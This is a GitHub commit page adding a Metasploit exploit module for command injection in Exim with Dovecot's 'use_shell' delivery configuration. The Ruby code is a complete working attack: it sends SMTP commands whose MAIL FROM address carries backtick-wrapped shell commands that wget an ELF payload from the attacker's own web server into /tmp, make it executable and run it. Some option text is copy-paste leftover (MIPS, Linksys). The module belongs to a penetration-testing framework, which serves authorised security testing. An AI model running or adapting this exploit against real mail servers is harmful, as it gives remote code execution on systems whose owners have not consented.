Skip to content

Commit c8c331c

Browse files
committed
Land rapid7#1928 - Devecot with Exim sender_address param command exec
2 parents 19a6f31 + f55edac commit c8c331c

File tree

1 file changed

+218
-0
lines changed

1 file changed

+218
-0
lines changed
Lines changed: 218 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,218 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::Smtp
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
18+
19+
def initialize(info = {})
20+
super(update_info(info,
21+
'Name' => 'Exim and Dovecot Insecure Configuration Command Injection',
22+
'Description' => %q{
23+
This module exploits a command injection vulnerability against Dovecot with
24+
Exim using the "use_shell" option. It uses the sender's address to inject arbitary
25+
commands since this is one of the user-controlled variables, which has been
26+
successfully tested on Debian Squeeze using the default Exim4 with dovecot-common
27+
packages.
28+
},
29+
'Author' =>
30+
[
31+
'Unknown', # From redteam-pentesting # Vulnerability Discovery and PoC
32+
'eKKiM', # PoC
33+
'juan vazquez' # Metasploit module
34+
],
35+
'License' => MSF_LICENSE,
36+
'References' =>
37+
[
38+
[ 'OSVDB', '93004' ],
39+
[ 'EDB', '25297' ],
40+
[ 'URL', 'https://www.redteam-pentesting.de/advisories/rt-sa-2013-001' ]
41+
],
42+
'Privileged' => false,
43+
'Arch' => ARCH_X86,
44+
'Platform' => 'linux',
45+
'Payload' =>
46+
{
47+
'DisableNops' => true
48+
},
49+
'Targets' =>
50+
[
51+
[ 'Linux x86', { }],
52+
],
53+
'DisclosureDate' => 'May 03 2013',
54+
'DefaultTarget' => 0))
55+
56+
register_options(
57+
[
58+
OptString.new('EHLO', [ true, 'TO address of the e-mail', 'debian.localdomain']),
59+
OptString.new('MAILTO', [ true, 'TO address of the e-mail', '[email protected]']),
60+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
61+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
62+
OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]),
63+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
64+
], self.class)
65+
66+
deregister_options('MAILFROM')
67+
end
68+
69+
# wait for the data to be sent
70+
def wait_linux_payload
71+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
72+
73+
waited = 0
74+
while (not @elf_sent)
75+
select(nil, nil, nil, 1)
76+
waited += 1
77+
if (waited > datastore['HTTP_DELAY'])
78+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
79+
end
80+
end
81+
end
82+
83+
# Handle incoming requests from the server
84+
def on_request_uri(cli, request)
85+
if (not @pl)
86+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
87+
return
88+
end
89+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
90+
@elf_sent = true
91+
send_response(cli, @pl)
92+
end
93+
94+
def exploit
95+
96+
@pl = generate_payload_exe
97+
@elf_sent = false
98+
99+
#
100+
# start our web server to deploy the final payload
101+
#
102+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
103+
resource_uri = '/' + downfile
104+
105+
if (datastore['DOWNHOST'])
106+
service_url_payload = datastore['DOWNHOST'] + resource_uri
107+
else
108+
109+
# Needs to be on the port 80
110+
if datastore['SRVPORT'].to_i != 80
111+
fail_with(Exploit::Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')
112+
end
113+
114+
#do not use SSL
115+
if datastore['SSL']
116+
ssl_restore = true
117+
datastore['SSL'] = false
118+
end
119+
120+
#we use SRVHOST as download IP for the coming wget command.
121+
#SRVHOST needs a real IP address of our download host
122+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
123+
srv_host = Rex::Socket.source_address(rhost)
124+
else
125+
srv_host = datastore['SRVHOST']
126+
end
127+
128+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
129+
service_url_payload = srv_host + resource_uri
130+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
131+
start_service({'Uri' => {
132+
'Proc' => Proc.new { |cli, req|
133+
on_request_uri(cli, req)
134+
},
135+
'Path' => resource_uri
136+
}})
137+
138+
datastore['SSL'] = true if ssl_restore
139+
end
140+
141+
142+
connect
143+
144+
print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")
145+
if self.banner.to_s !~ /Exim /
146+
disconnect
147+
fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")
148+
end
149+
150+
ehlo = datastore['EHLO']
151+
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
152+
ehlo_resp.each_line do |line|
153+
print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
154+
end
155+
156+
#
157+
# Initiate the message
158+
#
159+
filename = rand_text_alpha_lower(8)
160+
from = rand_text_alpha(3)
161+
from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`"
162+
from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`"
163+
from << "`/tmp/#{filename}`"
164+
from << "@#{ehlo}"
165+
to = datastore['MAILTO']
166+
167+
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
168+
resp ||= 'no response'
169+
msg = "MAIL: #{resp.strip}"
170+
if not resp or resp[0,3] != '250'
171+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
172+
else
173+
print_status("#{rhost}:#{rport} - #{msg}")
174+
end
175+
176+
resp = raw_send_recv("RCPT TO: #{to}\r\n")
177+
resp ||= 'no response'
178+
msg = "RCPT: #{resp.strip}"
179+
if not resp or resp[0,3] != '250'
180+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
181+
else
182+
print_status("#{rhost}:#{rport} - #{msg}")
183+
end
184+
185+
resp = raw_send_recv("DATA\r\n")
186+
resp ||= 'no response'
187+
msg = "DATA: #{resp.strip}"
188+
if not resp or resp[0,3] != '354'
189+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
190+
else
191+
print_status("#{rhost}:#{rport} - #{msg}")
192+
end
193+
194+
message = "Subject: test\r\n"
195+
message << "\r\n"
196+
message << ".\r\n"
197+
198+
resp = raw_send_recv(message)
199+
msg = "DELIVER: #{resp.strip}"
200+
if not resp or resp[0,3] != '250'
201+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
202+
else
203+
print_status("#{rhost}:#{rport} - #{msg}")
204+
end
205+
disconnect
206+
207+
# wait for payload download
208+
if (datastore['DOWNHOST'])
209+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
210+
select(nil, nil, nil, datastore['HTTP_DELAY'])
211+
else
212+
wait_linux_payload
213+
end
214+
register_file_for_cleanup("/tmp/#{filename}")
215+
216+
end
217+
218+
end

0 commit comments

Comments
 (0)